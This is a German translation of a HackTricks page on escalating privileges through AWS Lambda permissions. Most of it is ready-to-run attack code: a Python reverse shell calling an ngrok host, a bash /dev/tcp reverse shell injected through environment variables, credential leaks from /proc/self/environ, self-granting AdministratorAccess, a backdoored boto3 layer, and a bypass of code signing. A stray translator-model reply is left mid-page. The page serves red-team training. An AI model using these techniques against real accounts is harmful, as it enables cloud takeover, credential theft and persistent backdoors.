AWS - Lambda Privesc

Reading time: 14 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

lambda

Mehr Informationen zu lambda in:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Nutzer mit den iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction-Berechtigungen können ihre Rechte eskalieren.
Sie können eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen, wodurch die Funktion die mit dieser Rolle verbundenen Berechtigungen erhält. Der Nutzer kann dann Code für diese Lambda-Funktion schreiben und hochladen (z. B. mit einer rev shell).
Sobald die Funktion eingerichtet ist, kann der Nutzer deren Ausführung auslösen und die beabsichtigten Aktionen durch Aufruf der Lambda-Funktion über die AWS API ausführen. Dieser Ansatz erlaubt es dem Nutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen und mit dem Zugriffsniveau zu operieren, das der zugewiesenen IAM-Rolle gewährt wird.\

Ein Angreifer könnte dies missbrauchen, um eine rev shell zu bekommen und das token zu stehlen:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Du könntest außerdem abuse the lambda role permissions direkt aus der lambda function heraus.
Wenn die lambda role über genügend permissions verfügt, könntest du sie verwenden, um dir admin rights zu gewähren:

python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Es ist außerdem möglich, die lambda's role credentials zu leaken, ohne eine externe Verbindung zu benötigen. Das wäre nützlich für Network isolated Lambdas, die für interne Aufgaben verwendet werden. Wenn unbekannte security groups deine reverse shells filtern, erlaubt dir dieses Code-Snippet, die credentials direkt als Ausgabe der lambda zu leaken.

python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potential Impact: Direkter privesc zur angegebenen beliebigen Lambda-Service-Rolle.

caution

Beachte, dass selbst wenn es verlockend erscheinen mag, lambda:InvokeAsync für sich genommen nicht erlaubt, aws lambda invoke-async auszuführen; du brauchst außerdem lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Wie im vorherigen Szenario kannst du dir die Berechtigung lambda:InvokeFunction gewähren, wenn du die Berechtigung lambda:AddPermission hast.

bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potential Impact: Direkte privesc auf die angegebene Lambda-Service-Rolle.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Benutzer mit den Rechten iam:PassRole, lambda:CreateFunction und lambda:CreateEventSourceMapping (und möglicherweise dynamodb:PutItem und dynamodb:CreateTable) können auch ohne lambda:InvokeFunction indirekt escalate privileges.
Sie können eine Lambda function mit bösartigem Code erstellen und ihr eine bestehende IAM-Rolle zuweisen.

Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine neue oder vorhandene DynamoDB-Tabelle ein bzw. nutzt sie und verknüpft sie mit der Lambda über ein event source mapping. Diese Konfiguration stellt sicher, dass die Lambda function automatisch ausgelöst wird, wenn ein neuer Eintrag in der Tabelle erfolgt, entweder durch die Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda function indirekt aufgerufen wird und der Code mit den Berechtigungen der übergebenen IAM-Rolle ausgeführt wird.

bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Wenn DynamoDB in der AWS-Umgebung bereits aktiv ist, muss der Benutzer nur das event source mapping für die Lambda-Funktion einrichten. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer eine neue Tabelle mit aktiviertem Streaming erstellen:

bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Jetzt ist es möglich, die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden, indem man ein event source mapping erstellt:

bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Wenn die Lambda-Funktion mit dem DynamoDB-Stream verknüpft ist, kann der Angreifer die Lambda-Funktion indirekt auslösen, indem er den DynamoDB-Stream aktiviert. Dies kann erreicht werden, indem ein Item in die DynamoDB-Tabelle eingefügt wird:

bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potential Impact: Direkter privesc auf die angegebene lambda service role.

lambda:AddPermission

Ein Angreifer mit dieser Berechtigung kann sich (oder anderen) beliebige Berechtigungen gewähren (dies erzeugt resource based policies, um Zugriff auf die Ressource zu gewähren):

bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potentielle Auswirkung: Direkter privesc auf die für die lambda-Service-Rolle verwendete Rolle, indem die Berechtigung zum Ändern des Codes und zum Ausführen gewährt wird.

lambda:AddLayerVersionPermission

Ein Angreifer mit dieser Berechtigung kann sich selbst (oder anderen) die Berechtigung lambda:GetLayerVersion gewähren. Er könnte auf den Layer zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.

bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Mögliche Auswirkungen: Möglicher Zugriff auf sensible Informationen.

lambda:UpdateFunctionCode

Benutzer, die die lambda:UpdateFunctionCode Berechtigung besitzen, haben die Möglichkeit, den Code einer bestehenden Lambda function zu ändern, die mit einer IAM-Rolle verknüpft ist.\ Der Angreifer kann den Code der Lambda ändern, um die IAM credentials zu exfiltrieren.

Obwohl der Angreifer möglicherweise nicht die direkte Möglichkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass eine bereits vorhandene und aktive Lambda function durch bestehende Workflows oder Events ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.

bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Mögliche Auswirkungen: Direkter privesc auf die verwendete lambda service role.

lambda:UpdateFunctionConfiguration

RCE über env-Variablen

Mit dieser Berechtigung ist es möglich, env-Variablen hinzuzufügen, die die Lambda dazu bringen, beliebigen Code auszuführen. Zum Beispiel ist es in python möglich, die env-Variablen PYTHONWARNING und BROWSER auszunutzen, um einen python-Prozess beliebige Befehle ausführen zu lassen:

bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Für andere Skriptsprachen gibt es weitere env variables, die du verwenden kannst. Für mehr Informationen siehe die Unterabschnitte zu Skriptsprachen in:

macOS Process Abuse - HackTricks

RCE via Lambda Layers

Lambda Layers ermöglicht es, code in deine lamdba function einzubinden, ihn aber separat zu speichern, sodass der Funktionscode klein bleiben kann und mehrere Funktionen code gemeinsam nutzen können.

Innerhalb von lambda kannst du die Pfade prüfen, aus denen python code geladen wird, mit einer Funktion wie der folgenden:

python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Diese Pfade:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

Zum Beispiel wird die Bibliothek boto3 aus /var/runtime/boto3 geladen (4. Position).

Ausnutzung

Es ist möglich, die Berechtigung lambda:UpdateFunctionConfiguration zu missbrauchen, um eine neue Layer zu einer lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Layer eine Bibliothek enthalten, die die lambda importieren wird. Wenn du den Code der lambda lesen kannst, findest du das leicht; beachte auch, dass die lambda bereits eine Layer verwenden könnte und du die Layer herunterladen und dort deinen Code hinzufügen könntest.

Zum Beispiel: Angenommen, die lambda verwendet die Bibliothek boto3 — das würde eine lokale Layer mit der neuesten Version der Bibliothek erstellen:

bash
pip3 install -t ./lambda_layer boto3

Du kannst ./lambda_layer/boto3/__init__.py öffnen und add the backdoor in the global code (a function to exfiltrate credentials or get a reverse shell for example).

Dann zippe das Verzeichnis ./lambda_layer und upload the new lambda layer in deinem eigenen Account (oder im Account des Opfers, aber du hast dafür möglicherweise keine Berechtigungen).
Beachte, dass du einen python-Ordner erstellen und die Libraries dort ablegen musst, um /opt/python/boto3 zu überschreiben. Außerdem muss der Layer compatible with the python version sein, die von der Lambda verwendet wird, und wenn du ihn in deinem Account hochlädst, muss er in der same region:

bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Mache nun die hochgeladene lambda layer für jedes Konto zugänglich:

bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Und hänge das lambda layer an die victim lambda function:

bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Der nächste Schritt wäre entweder, die Funktion selbst zu invoke the function (wenn wir können) oder zu warten, bis it gets invoked auf normale Weise — was die sicherere Methode ist.

Eine more stealth way to exploit this vulnerability ist zu finden in:

AWS - Lambda Layers Persistence

Potential Impact: Direkter privesc auf die verwendete lambda service role.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie über die URL ausführen... aber ich konnte einen Weg finden, es zu testen, also lass es mich wissen, wenn du es tust!

Lambda MitM

Einige lambdas werden receiving sensitive info from the users in parameters. Wenn du RCE in einem von ihnen bekommst, kannst du die Informationen exfiltrate, die andere Benutzer an sie senden — siehe dazu:

AWS - Lambda Steal Requests

Referenzen

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing

Wenn eine Lambda-Funktion Code Signing erzwingt, kann ein Angreifer, der entweder die Code Signing Config (CSC) entfernt oder sie auf Warn herunterstuft, unsigned code in die Funktion deployen. Das umgeht integrity protections, ohne die function's IAM role oder triggers zu modifizieren.

Permissions (one of):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Notes:

  • For Path B, you don't need an AWS Signer profile if the CSC policy is set to WARN (unsigned artifacts allowed).

Steps (REGION=us-east-1, TARGET_FN=):

Prepare a small payload:

bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

Pfad A) CSC entfernen, dann Code aktualisieren:

bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Pfad B) Herabstufen auf Warn und Code aktualisieren (falls delete nicht erlaubt ist):

bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Bestätigt. Ich werde die relevanten englischen Texte aus der Datei ins Deutsche übersetzen und dabei Code, Technik‑/Tool‑/Cloud‑Namen, Begriffe wie "leak" und "pentesting", Links, Pfade sowie alle Markdown/HTML-Tags unverändert lassen. Ich füge nichts Zusätzliches hinzu.

bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

Potentieller Impact: Möglichkeit, beliebigen nicht signierten Code in eine Funktion zu pushen und auszuführen, die eigentlich signierte Deployments durchsetzen sollte, was möglicherweise zur Codeausführung mit den Berechtigungen der Funktionsrolle führt.

Bereinigung:

bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks